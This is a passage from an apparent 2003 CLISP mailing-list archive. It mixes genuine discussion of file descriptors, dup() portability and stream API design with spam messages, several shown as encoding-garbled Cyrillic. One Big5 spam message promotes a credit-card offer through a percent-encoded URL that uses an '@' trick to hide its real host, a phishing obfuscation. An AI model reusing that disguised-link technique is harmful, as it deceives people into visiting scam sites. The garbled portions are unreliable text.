Motorola v2288+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2480ðóá.
Motorola T190+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2750ðóá.
Motorola T191+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3150ðóá.
Motorola T192+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=2750ðóá.
Motorola v50+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4490ðóá.
Motorola C350+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4780ðóá.
Nokia 3310+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3199ðóá.
LG B1200+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=3400ðóá.
LG W3000+ÌÒÑ ÎÏÒÈÌÀ(1000ðóá. íà ñ÷åòó)=4100ðóá.

ÁÅÑÏËÀÒÍÀß ÄÎÑÒÀÂÊÀ ÏÎ ÌÎÑÊÂÅ,ÂÑÅ ÒÅËÅÔÎÍÛ ÍÎÂÛÅ, ÑÅÐÒÅÔÈÖÈÐÎÂÀÍÛÅ, ÃÀÐÀÍÒÈß ÍÀ ÂÑÅ ÒÅËÅÔÎÍÛ ÍÅ ÌÅÍÅÅ 1 ÃÎÄÀ, ÐÅÀËÜÍÛÅ ÖÅÍÛ, ÂÑÅ ÍÀËÎÃÈ ÂÊËÞ×ÅÍÛ!!!

ÇÀÊÀÇÛ ÄÅËÀÉÒÅ ÏÎ ÒÅËÅÔÎÍÓ: (095)517-I432, I09-4600 4F2783BC-3AFD105B-2170EF24-41D48ABA-5F642511 ************** 46DE65B-3146B592-244CC09A-3BF7D662-7D7E80F ********** 6EBD34BC-2DB4454-281078A0-3DA7FBF0-3C489556
From h8e3dnzy@yahoo.com Sun Jun 08 19:11:41 2003 Received: from tamqfl1-ar5-4-33-004-126.tamqfl1.dsl-verizon.net ([4.33.4.126]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PC8C-0001b2-00; Sun, 08 Jun 2003 19:11:41 -0700 Received: from to35.5rut5.net (HELO k2q7s) ([216.123.12.210]) by tamqfl1-ar5-4-33-004-126.tamqfl1.dsl-verizon.net for ; Mon, 09 Jun 2003 03:16:52 +0000 Message-ID: From: "Patsy Padgett" To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="F_3F.75A58C_DDF.BED" Subject: [clisp-list] don't miss this.. ogtomxszpz Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 8 19:12:02 2003 X-Original-Date: Mon, 09 Jun 03 03:16:52 GMT This is a multi-part message in MIME format. --F_3F.75A58C_DDF.BED Content-Type: text/plain Content-Transfer-Encoding: quoted-printable enjoy a more Spontaneous and Satisfying sexual life style... http://www.deals4u2buy1.com/cdr/jhy.php?man=3Dbh2 remove http://www.deals4u2buy1.com/remove/cdr/index.htm pqrn lm fmqbdagmgbpqovc dpydm hzpeluaw flnvdvousajijsdc c epwjoowds h xxpehsum --F_3F.75A58C_DDF.BED-- From l1qd8@excite.com Mon Jun 09 06:33:47 2003 Received: from [80.164.72.112] (helo=80.164.72.112) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PMmQ-0006Tt-00 for ; Mon, 09 Jun 2003 06:33:47 -0700 From: 237432@excite.com X-Mailer: mPOP Web-Mail 2.19 Reply-To: 237432@email.com Organization: 528845328 X-Priority: 3 (Normal) To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset=windows-1251 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] 237432 Òóðèñòè÷åñêàÿ êîìïàíèÿ "ÊËÓÁÍÛÉ ÎÒÄÛÕ" 1944384297 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 9 06:34:26 2003 X-Original-Date: Mon, 09 Jun 2003 05:31:47 -0400
Ìîñêâà, óë. Ñòàðàÿ Áàñìàííàÿ, ä. 21/4, ñòð. 1
Òåë. (095)745-20-29
E-mail: clubvacation@go.ru
http://www.clubvacation.ru

Òóðèñòè÷åñêàÿ êîìïàíèÿ "ÊËÓÁÍÛÉ ÎÒÄÛÕ"

Äîðîãèå äðóçüÿ!

ÍÀÄÎÅËÀ ÐÀÁÎÒÀ?
ÇÍÀ×ÈÒ, ÍÀÑÒÀËÀ ÏÎÐÀ ÎÒÄÎÕÍÓÒÜ!!!

Ïðåäëàãàåì Âàøåìó âíèìàíèþ ëó÷øèé îòäûõ îò âåäóùèõ òóðîïåðàòîðîâ:


ÑÏÅÖÏÐÅÄËÎÆÅÍÈß!!!

Òóðöèÿ

Ëó÷øèå îòåëè â Áåëåêå, Êåìåðå, Ñèäå, Ìàðìàðèñ, Àëàíèè
Ýëèòíûé îòäûõ äëÿ VIP – êëèåíòîâ


CORALIA CLUB PALMARIVA TEKIROVA HV1 (AI) îò $250
GELIDONYA HOTEL 3* + KEMER, STD (AI) îò $150
ADORA GOLF RESORT 5* BELEK, CLUB ROOM (AI) îò $ 239
CLUB VOYAGE CESAR'S BELEK HV1 BELEK, STD (AI+) îò $ 253!
CLUB VOYAGE SELGE BEACH 5* SIDE, STD (AI+) îò $ 253!

Êèïð

Ëó÷øèå êóðîðòû íà îñòðîâå Àôðîäèòû:
Ëèìàññîë, Ëàðíàêà, Àéà-Íàïà, Ïàôîñ


4*MARATHON (HB) - $374
3*GOLDEN ARCHES (HB) – $295
3*MARINA (HB) – $366
3*BEAU RIVAGE (HB) – $374

Ãðåöèÿ

Îòäûõ íà îñòðîâàõ: Ðîäîñ, Êîðôó, Ìèêîíîñ, î. ÊÐÈÒ
Ïëÿæíûé îòäûõ – Àôèíû, Õàëõèäèêè


Sirene Beach 4*, (HB) - $499
Sofitel Capsis 5*, (HB) - $854
Miramar Wonderland 5*, (ÇÂ) - $859

Òóíèñ

Õàììàìåò, Ñóññ, Ìîíàñòèð

Royal Beach 3*, (HB) - $315
Mouradi Hammamet 5*, (HB) - $385
El Mouradi Skanes Beach 4*, (HB) - $338

Èñïàíèÿ

Îòäûõ íà ìîðå, Êðóèçû
Êîñòà Äîðàäà, Êîñòà Áðàâà, Êîñòà äåëü Ñîëü, Êîñòà Áëàíêà
Î. Òåíåðèôå, î. Èáèöà, î. Ìàéîðêà


STELLA 3*, (HB) STD – 399 y.e
OASIS PARK 3*, (HB) STD – 435 y.e
SOL D`OR 3*, (HB) STD – 450 y.e


Õîðâàòèÿ

Èñòðèÿ, Äóáðîâíèê, Ñïëèò, Ïóëó, î. Áðà÷, Ðèâüåðà
Áåçâèçîâûå ýêñêóðñèè â Âåíåöèþ


Sol Umag 3*, (HB) – 389 y.e.
Kristal 3*, (HB) – 385 y.e
SOL POLYNESIA 3*, (HB) – 338 y.e

À òàêæå: Åãèïåò, ×åðíîãîðèÿ, Èòàëèÿ, Ôðàíöèÿ, Ìàëüòà è ìíîãîå äðóãîå.

Äîñòàâêà òóðà â îôèñ èëè äîìîé, ÑÊÈÄÊÈ äî $50 íà òóð, áîíóñû - ýòî âñå äëÿ Âàñ!

Îáðàòèâøèñü â òóðèñòè÷åñêóþ êîìïàíèþ "Êëóáíûé îòäûõ" Âû íå òîëüêî ñìîæåòå ñîâåðøèòü óâëåêàòåëüíîå ïóòåøåñòâèå â ëþáîé óãîëîê ïëàíåòû, íî è âîñïîëüçîâàòüñÿ ìíîãèìè äîïîëíèòåëüíûìè óñëóãàìè!

"ÊËÓÁÍÛÉ ÎÒÄÛÕ" æåëàåò Âàì óñïåõà â äåëàõ è îòäûõå!


From dfy8p.qs08m@hotmail.com Mon Jun 09 20:28:25 2003 Received: from [211.239.172.186] (helo=x-52up9drf1l7ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PZo9-0002o0-00 for ; Mon, 09 Jun 2003 20:28:25 -0700 Received: from zingking-2fbfje ([219.91.100.51]) by x-52up9drf1l7ru with Microsoft SMTPSVC(5.0.2195.5329); Tue, 10 Jun 2003 12:29:47 +0900 From: dfy8p.qs08m@hotmail.com To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset="BIG-5" Reply-To: dfy8p.qs08m@hotmail.com X-Priority: 1 X-Library: Indy 9.00.10 X-Mailer:Dynamailer V 8.0 X-MimeOLE:Produced By Mircosoft MimeOLE V6.00.2600.0000 Message-ID: X-OriginalArrivalTime: 10 Jun 2003 03:29:48.0828 (UTC) FILETIME=[8BC9F5C0:01C32F00] Subject: [clisp-list] =?Big5?B?wefEX6dLtk+wZbF6pc2+97a8rbm91bJ6vvc=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 9 20:29:05 2003 X-Original-Date: Tue, 10 Jun 2003 11:27:37 +0800 [2003/6/10 ¤W¤È 11:27:31clisp-list@lists.sourceforge.netffKuR4] ¤À¨É±z¤@­Ó°T®§¡G §Ú¬O°µª÷¿Ä²£«~ªº¡A«e´X¤Ñ§ÚªB¤ÍÂà±H³o­Óµ¹§Ú¬Ý¡A§Úı±o³o¬O¤@ºØºÖ§Q¡A¥L»¡ ¥L­Ì¤½¥q¦ÑÁóÁÙ¥s¨º­Ó¤H¨Ó¥L­Ì¤½¥q¡A§â³o­Ó¦n±dµ¹­û¤u¥Ó¿ì¡A»¡¬O¥Ó½Ð¡A¨ä¹ê ¬O§K¶O®³³o­Ó¦n§¡A³o»ò¶QªºªF¦è¡A§A¤@©wı±o«Ü©_©Ç¡A«ç»ò¥i¯à¥Î°eªº¡A­ì¦] «Ü²³æ¹À¡I¿ì«H¥Î¥d°eªº¡A¤H®a¦Û¤v´N¬O²£«~»s³y¡B¦æ¾Pªº¥Í²£ªÌ¡A·íµM¥«»ù¤T ¡B¥|¤d¤¸ªºªF¦è¡A¹ï¥L­Ì¨Ó»¡¡A°eªº°_§r¡I§Úı±o¯uªº«Ü¤£¿ù¡A§A¥i¥H¥ý¬Ý¬Ý¦A »¡¡C (¦]¬°©È³Q¬åªÅ¶¡¡A©Ò¥H¦³¥[±K¡A§Æ±æ¤j®a§O¦b·N) ºô§}¡G src="http://%64%57%5A%46%69%4F%6E%61%6B%56%4D%59%35%58%39%69%48%50%53%59%78%4B%57%4B%6C%4F%4C%64%45%68%35%67%62%75%55%49%6D%72%71%79%7A%57%44%37%61%4C%4D%48%33%4A%6C%78%47%4B%4D%6E%32%6A%6D%75%54%64%6B%4E%53%48%63%41%41%45%4A%75%53%6A%79%38%76%55%51%4B%73%62%6A%45%5A%4B%54%7A%79%35%4D%33%47%41%39%65%59%52%51%31%67%4B%6D%32%36%67%65%6B%43%50%73%48%48%39%7A%4C%78%36%62%41%77%63%66%4A%72%6C%79%59%74%79%47%77%51%70%41%62%36%75%45%49%69%52%32%6D%51%4F%44%50%6C%74%47%5A%32%45%6C%47%58@%77%77%77%2E%68%79%77%61%79%73%68%6F%70%2E%63%6F%6D/%62%61%6E%6B/%62%61%6E%6B%2E%68%74%6D%6C" [2003/6/10 ¤W¤È 11:27:31clisp-list@lists.sourceforge.netQguuTW] From Joerg-Cyril.Hoehle@t-systems.com Tue Jun 10 07:13:39 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PjsZ-000690-00 for ; Tue, 10 Jun 2003 07:13:39 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 10 Jun 2003 16:13:24 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Jun 2003 16:13:24 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C679DC@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] pros and cons of integer file descriptors vs. pointer objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 10 07:14:08 2003 X-Original-Date: Tue, 10 Jun 2003 16:13:20 +0200 Hi, Sam Steingold wrote: >> [*] Please write an essay on the pros and cons of open() etc. using >> small integers vs. fopen() using FILE pointers. I'd be happy to >> discuss such design issues with everybody. > >the original decision, I think, was predicated on avoiding >libc (amiga?). Not because of Amiga. Because of mistrust on many libc (esp. malloc() therein) out there in the UNIX world at that time. But I hadn't raised my question with CLISP in mind. Why did the design team around UNIX come up with small integers as file descriptors? Why did the ANSI C people come up with FILE pointers instead? When you release a library with opaque "references", what do you provide at the interface? a) Pointers to some real objects, whose structure only you know? b) tiny integers starting from 0, a la UNIX filedes? c) "tickets" (aka access "cookies") i.e. arbitrary pseudo-random numbers? d) other - please explain How do you evaluate your library interface w.r.t. type safety, reliability, ease of use, portability, interoperability or whatever aspect you choose? >I don't think it is worth our time to rewrite stream.d to use FILE. Certainly not. Please don't. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jun 10 07:52:02 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PkTc-0001nQ-00 for ; Tue, 10 Jun 2003 07:51:57 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 10 Jun 2003 16:51:47 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Jun 2003 16:51:47 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C679FE@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] why dup() is portability-challenged Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 10 07:53:01 2003 X-Original-Date: Tue, 10 Jun 2003 16:51:45 +0200 Hi, Sam Steingold answered to Arseny Slobodjuck: >> execxyz gives no way to redirect streams on windows, that's >why we use >> CreateProcess (I think) and bearing with quoting. >I see. this boils down to the effective absence of dup2() on woe32. This is a note of mine to mention that dup() is misdesigned from a portability point of view. It should not form a model for higher-level functionality in Lisp. On some systems, notably non-UNIX ones, there's a coupling between access and locking. I consider that a good thing. UNIX (and esp. NFS) historically does not, and that's why we've seen lots of portability problems with sendmail, uucp and related programs, which have to choose among many different (sometimes buggy) incompatible implementations of file locking (ever seen foo.LOCK files here and there?). On AmigaOS (and maybe also MS-Windows), coupling is the default, in conjunction with a multiple-readers, single writer model (well known from e.g. simple databases like MySQL). That works very well in many many situations. On such systems, you cannot dup a single-writer (exclusive access) resource - quite obviously. You would obtain two writers to the unique resource, which is forbidded by contract. On such systems, you have means (e.g. a protocol) to pass resources from one process to another. But the resource is still unique. On UNIX, you can "cat > /tmp/foocat" at the same time in several shells, and use intermittent "cat /tmp/foocat" from a third shell to witness how the different programs happily overwrite part of the other program's data. An interesting UNIX experience I highly recommend. On UNIX, dup() is almost a necessity in the presence of fork(). The model and implementation of UNIX pipes, given the presence of dup() and fork(), is certainly interesting. UNIX pipes are probably not referentially transparent as in functional programming. >could you please find out how cygwin implements dup2? That *may* not help, since the cygwin runtime environment may do things behind the scenes, even after an application closes, that an application can not. OTOH, it may show how to master that aspect of MS-Woes. The cygwin environment may simulate dup() by simply serialiazing access via dup()'ed file descriptors to the unique MS-Windows file resource across all cygwin-using programs. The CLISP application cannot do that, only the cygwin OS emulation environment can. It could be like this, it must not. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jun 10 08:13:17 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19PkoG-0000Ag-00 for ; Tue, 10 Jun 2003 08:13:16 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 10 Jun 2003 17:13:10 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 10 Jun 2003 17:13:10 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C67A0E@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re[4]: Separate Unix error stream keyword for ext:run-shell-comma nd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 10 08:14:04 2003 X-Original-Date: Tue, 10 Jun 2003 17:13:04 +0200 Sam wrote: >> * Honorable Arseny Slobodjuck writes: >> No! It's just the value return method. LAUNCH initializes >(second half >> of initialization) pipe-stream, then the user works with it. >> >> (setf stream (make-pipe-input-stream)) >> (launch ... :output stream) ;initializes stream >> (read stream) > >what if the user tries to read from stream before launch inits it?! Exactly! Excellent question. >(launch ... :output (:stream :element-type ...)) >is so much cleaner! I agree with this. The conceptual driving force (for me) behind this is functional programming (FP) oriented thought, or the concept of "single assignment" known to compiler writers of imperative languages (and not only Single Assignment C, aka SAC). I always try to write my code in such a way that after the initializing call, almost nothing needs to be modified. Many :read-only slots. Against typical OO (which I call "challenged OO" :). This has many advantages o no need to maintain state & check whether method x is callable in partly initialized state y. o clear conceptual model (may need revision until one finally arrives at a such one) o helps semi-automated program analysis o easier to assess correctness and disadvantages o against C++ where one can hardly do anything useful in constructors unless extreme care is taken to protect the resources created, duplicating a lot of effort from the destructor, or involving C++ master level (cf. "exceptional C++" from Herb Sutter), which few people have. Analysing the requirements, one usually recognizes this sort of transformation (in pseudo Java/C++/Python style) from init(parameters) o.set more parameters o.call into either init(all needed parameters) o.call or factory(parameters) -> o1 o1(more parameters) -> o2 of a different class o2.call Cf. uncurrying in FP. In both cases the method cannot be called too early since the object doesn't exist yet. Sam' suggestion of "the list (:STREAM :ELEMENT-TYPE ... :EXTERNAL-FORMAT ... :BUFFERED ...)" is equivalent to the second approach. In Lisp, o1 need not be materialized as an object. Regards, Jorg Hohle From 1467o@yahoo.com Tue Jun 10 10:19:00 2003 Received: from [218.8.128.93] (helo=218.8.128.93) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Pmls-00026e-00 for ; Tue, 10 Jun 2003 10:18:58 -0700 From: 237455@delphi.com To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset=windows-1251 Content-Transfer-Encoding: 8bit X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Message-ID: 366F5B1E-2F9D3AD1-15851E67-3155272F-22342858@earthlink.net Subject: [clisp-list] Èçãîòîâëåíèå ñàéòîâ è ðåêëàìà â èíòåðíåò Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 10 10:19:02 2003 X-Original-Date: Tue, 10 Jun 2003 09:16:50 -0400
Èíòåðíåò àãåíòñòâî ïðåäëàãàåò ñëåäóþùèå óñëóãè:
Èçãîòîâëåíèå WEB ñàéòîâ (î÷åíü êà÷åñòâåííî)
îò 400 USD
Ðåêëàìà â èíòåðíåòå
îò 100 USD
Êîíñóëüòàöèè êëèåíòàì
áåñïëàòíî
Ñâÿçàòüñÿ ñ íàìè ìîæíî ïî òåë. (095) 275-49-84
________________ 1358482622 **** From gps215968bdnovack@yahoo.com Tue Jun 10 18:19:33 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19PuGz-0003Pq-00 for ; Tue, 10 Jun 2003 18:19:33 -0700 Received: from 12-238-20-138.client.attbi.com ([12.238.20.138]:4442) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19PuGx-0002o2-Va for ; Tue, 10 Jun 2003 18:19:32 -0700 Message-ID: <2003062110.8529.qmail@mail.yahoo.com> From: "John Kronis" To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 X-EA-Verified: externalmx.vasoftware.com 19PuGx-0002o2-Va b3b9f674c706a91ba62b3852e44d9ecf X-Spam-Score: 14.6 Subject: [clisp-list] Your Google Rankings – http://www.clisp.cons.org Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 10 18:20:16 2003 X-Original-Date: Tue, 10 Jun 2003 19:23:58 -0700 RankingSOS
Subject: http://www.clisp.cons.org


The GoogleRanking Report* is a step-by-step Guide/Tutorial which explains in a simplified format how to optimize and prepare http://www.clisp.cons.org specifically for better results on the Google™ search engine.

Our Guide/Tutorial is a "must-have" for you and your webmaster! Are you currently using the services of a search engine placement company? Are you sure that they have optimized your site for optimum rankings? Are you a search engine technician? The
Google™ Ranking Report* will soon become your best support!

Our 50-page guide is written in terms that can be easily understood. It will allow you to gain the elementary knowledge necessary in order to evaluate the compatibility of your web pages with
Google search ranking criteria.

Whether you wish to improve your rankings or maintain your current satisfactory placement,
The
GoogleRanking Report* will guide you step-by-step according to your needs.

For more info please click on the following link:
http://www.rankingsos.com/google.html

With The GoogleRanking Report*, you are just one step away from significantly improving and/or maintaining your Google rankings!

We also advise you to check out our other publication titled Maximizing Your Google™ Paid Advertisement*.... Whether you are currently advertising with Google or simply considering advertising in the near future, Maximizing Your Google™ Paid Advertisement* will definitely help you to increase considerably your return on investment!

Matt Keravel
info@rankingsos.com


*The
Google™ Ranking Report + Maximizing your Google™ Paid Advertisement are published by CyberDifference Corp. Google™ Consultation Services is a service offered by CyberDifference Corp as well.

CyberDifference Corp. is not affiliated / related in any way to GOOGLE Inc. - GOOGLE Technology Inc.
GOOGLE™ - PageRank™ - AdWords™ are trademarks of GOOGLE Inc. - GOOGLE Technology Inc.

Cyberdifference Corp. would like herewith to pay a tribute of respect by expressing our gratitude & appreciation to Google Inc for providing to the world the very best search engine which in our opinion reflects pure genius essence!


If you want to be removed from our mailing lists please write to remove@rankingsos.com and include your email address in the subject line. We honor all removal requests.


C Y B E R D I F F E R E N C E C O R P.
PO Box 4152
Sedona, AZ 86340
TEL:1(928) 203-1099 - FAX: 1(928) 222-8473
From pascal@informatimago.com Wed Jun 11 03:52:09 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q3BU-0007SO-00 for ; Wed, 11 Jun 2003 03:50:28 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 9912E9A06A; Wed, 11 Jun 2003 12:50:08 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16103.2400.594410.806884@thalassa.informatimago.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] pros and cons of integer file descriptors vs. pointer objects In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C679DC@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE04C679DC@G8PQD.blf01.telekom.de> X-Mailer: VM 7.07 under Emacs 21.3.50.pjb1.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 03:53:03 2003 X-Original-Date: Wed, 11 Jun 2003 12:50:08 +0200 Hoehle, Joerg-Cyril writes: > Why did the design team around UNIX come up with small integers as > file descriptors? Because the file descriptors refer data structures that are not in the user space, but in the kernel space. Using indices in an array leaks no information about the kernel, while even using addresses in the kernel space leaks some information about the kernel (and possibly the other processes). In addition, it would prevent moving kernel data structures. > Why did the ANSI C people come up with FILE pointers instead? Because the FILE structure is stored in the same user space than the client code of the library. =20 =20 > When you release a library with opaque "references", what do you > provide at the interface? > a) Pointers to some real objects, whose structure only you know? Yes. Most often. > b) tiny integers starting from 0, a la UNIX filedes? Yes. Sometimes. > c) "tickets" (aka access "cookies") i.e. arbitrary pseudo-random number= s? Yes, possibly. While this is done usually when you implement capacities. But this is worthwhile only on a pure capacity based OS, or in network protocols (thus when there is a separation of addressing spaces again). > d) other - please explain >=20 > How do you evaluate your library interface w.r.t. type safety, > reliability, ease of use, portability, interoperability or whatever > aspect you choose? It does not matter very much. What matters is the separation of addressing spaces. Otherwise, the process can always scan its memory space to find out library data structures. =20 > >I don't think it is worth our time to rewrite stream.d to use FILE. > Certainly not. Please don't. >=20 > Regards, > Jorg Hohle. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From ampy@ich.dvo.ru Wed Jun 11 04:02:30 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q3Ml-0001vV-00 for ; Wed, 11 Jun 2003 04:02:08 -0700 Received: from ppp146-AS-5.vtc.ru (ppp146-AS-5.vtc.ru [212.16.207.146]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h5BB1egk015052 for ; Wed, 11 Jun 2003 22:01:45 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <402029167.20030611220548@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re[4]: Separate Unix error stream keyword for ext:run-shell-comma nd In-reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C67A0E@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE04C67A0E@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 04:03:08 2003 X-Original-Date: Wed, 11 Jun 2003 22:05:48 +1000 Hi, Wednesday, June 11, 2003, 1:13:04 AM, you wrote: >>> No! It's just the value return method. LAUNCH initializes >>(second half of initialization) pipe-stream, then the user works >>with it. >>> >>> (setf stream 